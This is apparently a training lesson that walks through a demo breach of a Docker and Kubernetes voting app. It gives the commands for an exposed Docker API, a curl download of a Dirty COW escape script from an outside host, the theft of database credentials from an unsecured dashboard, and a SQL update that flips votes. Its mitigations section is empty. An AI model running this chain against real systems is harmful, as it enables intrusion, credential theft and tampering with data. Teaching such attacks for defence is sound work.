The Attack

In this demo, we’ll walk through a real-world breach scenario targeting Kubernetes and Docker. You’ll see how an exposed Docker daemon, container escape, and an unsecured Kubernetes dashboard led to a full compromise. In subsequent lessons, we’ll dissect each step and discuss preventive controls.

Table of Contents

1. High-Level Overview
2. Step 1: DNS Resolution & Discovery
3. Step 2: Port Scanning & Docker Daemon Exposure
4. Step 3: Remote Docker API Enumeration
5. Step 4: Container Escape via Dirty COW
6. Step 5: Kubernetes Cluster Enumeration
7. Step 6: Extracting Database Credentials
8. Step 7: Tampering with Votes
9. Attack Summary & Mitigations
10. References

High-Level Overview

It’s the final day of the election between cats and dogs. Voters submit ballots at www.vote.com, and live results appear at www.result.com. Currently, dogs lead 71% to 29%:

A disgruntled user (“cat girl”) only knows these domains—nothing about the underlying stack. She embarks on a black-box attack, discovering:

• Shared hosting (same IP for both domains)
• An exposed Docker daemon on port 2375
• A container escape via Dirty COW
• An unsecured Kubernetes Dashboard on port 30080
• Database credentials in plain environment variables
• A direct path to flip votes via a SQL update

Step 1: DNS Resolution & Discovery

First, she resolves both domains:

ping www.vote.com
ping www.result.com

Both ping to 104.21.63.124, indicating a shared host.

Step 2: Port Scanning & Docker Daemon Exposure

A quick port scan reveals an open Docker API port:

zsh port-scan.sh 104.21.63.124

Step 3: Remote Docker API Enumeration

With the API open, she lists containers and checks the Docker Engine version:

docker -H tcp://104.21.63.124:2375 ps

docker -H tcp://104.21.63.124:2375 version

Output snippets:

• Containers: Multiple k8s_* entries, indicating Kubernetes workloads
• Server Version: Docker Engine 19.03.6, API v1.40

These findings confirm both Docker and Kubernetes are in use.

Step 4: Container Escape via Dirty COW

She launches a privileged Ubuntu container and exploits Dirty COW:

docker -H tcp://104.21.63.124:2375 run --privileged -it ubuntu bash
apt-get update && apt-get install -y curl
curl http://catgirl.me/dirty-cow.sh > dirty-cow.sh
chmod +x dirty-cow.sh
./dirty-cow.sh

The exploit grants root access on the host.

Step 5: Kubernetes Cluster Enumeration

On the host, she inspects mounts and kernel info:

df -h
uname -a

The k8s_ prefixes reveal a Kubernetes cluster. By examining iptables NAT rules, she discovers port 30080 forwarding to the Kubernetes Dashboard.

Visiting http://104.21.63.124:30080 shows an unsecured dashboard:

Under Deployments, all services—db, redis, vote, result, worker—are visible:

Step 6: Extracting Database Credentials

In the DB deployment’s environment variables, she finds Postgres credentials. She then executes into the DB container:

docker exec -it c0cd577317f2 bash
export PGPASSWORD=$POSTGRES_PASSWORD
psql --username=$POSTGRES_USER --dbname=$POSTGRES_DB

A quick check of running pods in the dashboard confirms all services are live:

Step 7: Tampering with Votes

With DB access, she flips all dog votes to cats:

UPDATE votes
SET candidate = 'cats'
WHERE candidate = 'dogs';

The election results are now reversed.

Attack Summary & Mitigations

References

• Kubernetes Documentation
• Docker Remote API
• Dirty COW Vulnerability (CVE-2016-5195)
• Kubernetes Dashboard Security
• PostgreSQL Documentation